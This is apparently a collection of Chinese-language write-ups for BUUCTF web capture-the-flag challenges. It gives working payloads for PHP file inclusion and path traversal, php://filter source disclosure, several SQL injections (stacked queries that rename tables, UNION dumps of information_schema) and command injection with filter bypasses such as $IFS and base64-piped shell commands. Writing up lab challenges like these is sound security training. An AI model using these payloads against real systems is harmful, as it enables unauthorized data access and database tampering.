BUUCTF-Web WP合集
[HCTF 2018]WarmUp
题目类型:PHP代码审计
相关知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)
0x01.查看网页源代码
首先通过网页源代码的注释发现网站内隐藏的网页source.php,访问路径http://xxxx.node3.buuoj.cn/source.php,发现source.php文件的源代码,开始分析。
0x02.分析PHP代码
1 if (! empty($_REQUEST['file']) 2 && is_string($_REQUEST['file']) 3 && emmm::checkFile($_REQUEST['file']) 4 ) { 5 include $_REQUEST['file']; 6 exit; 7 } else { 8 echo ""; 9 }
这一段的意思是传入一个file参数,必须同时满足file参数不为空、是字符串、通过checkFile函数校验,否则返回滑稽表情,下面分析emmm类的checkFile函数:
class emmm { public static function checkFile(&$page) { //白名单 $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it A"; return false; } //第一次白名单检测 if (in_array($page, $whitelist)) { return true; } //第一次过滤问号 $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); //第二次白名单检测 if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); //第二次过滤问号 $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); //第三次白名单检测 if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } }
如果访问路径http://xxxx.node3.buuoj.cn/source.php?file=hint.php会得到提示“flag not here, and flag in ffffllllaaaagggg”。仔细分析代码便知三次白名单判断、一次url解码并未对解题造成困难,只要使file参数的内容在白名单中即可(source.php或hint.php)。此处直接利用文件包含漏洞+目录遍历,构建payload:
http://xxxx.node3.buuoj.cn/source.php?file=hint.php?../../../../../ffffllllaaaagggg
访问地址即可看到flag。
[强网杯 2019]随便注
题目类型:SQL注入
相关知识点:SQL注入语句、关键词绕过、数据库改写
0x01.判断是否存在注入
首先题目只有一个输入框,直接提交1可以发现读出了两列内容。此时通过万能语句:
1' and '1'='1 1' and '1'='2
输入第一行语句可以看到输出结果与输入1相同,输入第二行语句无回显,猜测是由于数据库查询错误所致,可以判断存在注入点,接下来开始通过堆叠查询进行注入。
0x02.开始注入
首先通过order by语句判断显示列数,依次输入:
1' order by 1# 1' order by 2# 1' order by 3#
输入到第三行语句时报错,证明显示列数为2,此时开始爆破数据库表。但当输入select后会发现输入位置存在正则表达式判断是否输入了select、update、delete、drop、insert和where,如果存在上述内容则无法进行查询。此时无法通过information_schema库来进行爆库爆表爆字段查询,换用其他的SQL语句:
1'; show databases;# 1'; show tables;#
第一行语句代表显示所有库名,第二行语句代表显示所有表名。至此发现两个表:“words”和“1919810931114514”,接下来分别查看两个表里的字段:
1'; show columns in `words`;# 1'; show columns in `1919810931114514`;#
发现“words”表中无可用信息,“1919810931114514”表中存在flag字段,猜测里面含有flag。但此时的问题是无法通过select语句查询里面的内容,接下来的解法是本题的关键。
0x03.修改数据库结构
由于无法直接查询flag字段的内容,需要另辟蹊径。通过上一步可以发现数据库中只有两个表,其中“1919810931114514”表中可能存在flag,那另一个表“words”的作用是什么呢?通过查询“words”表中的字段可以发现它有两个字段:id和data,它们的数据类型分别是int和varchar,似乎和一开始输入1时查询到的两个字段的数据结构是相似的,此时猜测输入框是对“words”表进行查询操作,如果想要查看“1919810931114514”表的内容,可以先把“words”表修改为其它名称,再将“1919810931114514”表的名称修改为“words”,这样即可通过输入框查询flag字段的内容:
1'; rename tables `words` to `word`; rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
通过rename方法修改表名,同时需要注意保证新的“words”表字段数和输入1时显示的列数一致,即为2,成功执行上述语句后数据库结构已被修改,无任何回显。此时重新在输入框输入万能语句1'or'1'='1即可显示全部内容,得到flag。
[极客大挑战 2019]EasySQL
题目类型:SQL注入
相关知识点:SQL注入语句
直接在用户名处测试万能密码:
1‘ or '1'='1' #
即可得到flag。
[极客大挑战 2019]Havefun
题目类型:信息收集
相关知识点:网页源代码
直接F12检查源代码,发现设置有GET参数cat,如果cat的值为dog则输出什么东西,所以直接在url后面加上:
/?cat=dog
即可得到flag。
[ACTF2020 新生赛]Include
题目类型:文件包含
相关知识点:php伪协议
使用PHP伪协议读取flag.php网页源代码,输入如下url:
http://your-url/?file=php://filter/read=convert.base64-encode/resource=flag.php
读出网页源代码经过base64加密后的字符串,经过base64解密后即可得到flag。
[SUCTF 2019]EasySQL
题目类型:SQL注入
相关知识点:SQL注入语句、代码审计
原题存在源码泄露index.php.swp(但本环境下无此文件),通过代码审计可以发现SQL语句为:
$sql = "select ".$post['query']."||flag from Flag";
因此可以直接构造payload:
*,1
即可直接在第一列中显示全部搜索结果并在第二列显示1。第一列中的结果即为flag。
或调整Mysql的sql_mode模式:pipes_as_concat来实现字符串拼接,payload为:
1;set sql_mode=PIPES_AS_CONCAT;select 1
[极客大挑战 2019]Secret File
题目类型:信息收集、文件包含
相关知识点:php伪协议
首先通过查看网页源代码发现下方的链接/Archive_room.php,然后点进去后发现有一个SECRET按钮,点一下以后说是回去仔细看看,回到/Archive_room.php页面抓包观察点击按钮后的反应,在response中发现了secr3t.php的存在,进去以后发现一段代码发现存在文件包含漏洞,直接访问flag.php发现并不能得到flag,猜测flag可能存在php代码里,回到secr3t.php中利用文件包含漏洞和php伪协议构造url:
http://your-url/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
得到base64编码后的flag.php代码,经过base64解码后得到flag。
[ACTF2020 新生赛]Exec
题目类型:命令执行
相关知识点:命令执行
通过测试发现就是执行系统命令ping输入的地址,直接通过&符号在后面拼接系统命令找flag文件即可,最后通过向上遍历查询在根目录下找到flag文件,读取即可得到flag,完整payload如下:
1 & cat ../../../flag
[极客大挑战 2019]LoveSQL
题目类型:SQL注入
相关知识点:SQL注入语句
首先用户名处就存在注入点,通过万能密码直接能登录成功并得到admin的密码,然而没什么用,flag并不在这,实际需要在数据库中找到正确的flag位置,而且需要绕过关键字过滤(大小写混合绕过),关键步骤如下:
-1' uniOn SelecT 1 # -1' uniOn SelecT 1,2 # -1' uniOn SelecT 1,2,3 #
注出共有三列,且在第2列和第3列显示数据,然后注库名:
-1' uniOn SelecT 1,2,group_concat(schema_name) from information_schema.schemata #
注出库名geek,然后注表名:
-1' uniOn SelecT 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #
注出表名geekuser和l0ve1ysq1,经过测试发现admin账户就出自geekuser表,里面没有flag,所以在l0ve1ysq1表中注列名:
-1' uniOn SelecT 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #
注出列名id、username和password,然后直接查里面的内容即可在最后得到flag:
-1' uniOn SelecT 1,2,group_concat(concat_ws(',',id,username,password)) from geek.l0ve1ysq1 #
[GXYCTF2019]Ping Ping Ping
题目类型:命令执行
相关知识点:命令执行
经过前期测试发现本题过滤了很多关键字、空格和符号,所以需要进行绕过,尝试了以下空格绕过方法:
${IFS}替换 $IFS$1替换 ${IFS替换 %20替换 <和<>重定向符替换 %09替换
通过回显发现$IFS$1可用,但是可能过滤了flag关键字,尝试了以下关键字绕过方法:
单双引号绕过:ca"t fl''ag
反斜线绕过:ca\t fl\ag
$1、$2等和 $@绕过:c$1at fl$@ag.php
均不可用,采用变量拼接的方法绕过:
?ip=1;a=g;cat$IFS$1fla$a.php;
由于php不解析,所以可在网页源码中查看到flag。
此外还有几种解法:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
通过base64编码进行绕过,再用命令进行解读。Y2F0IGZsYWcucGhw是cat flag.php的base64编码,再用base64 -d命令进行执行。
内敛绕过解法,将反引号内命令的输出作为输入执行:
?ip=127.0.0.1;cat$IFS$1`ls`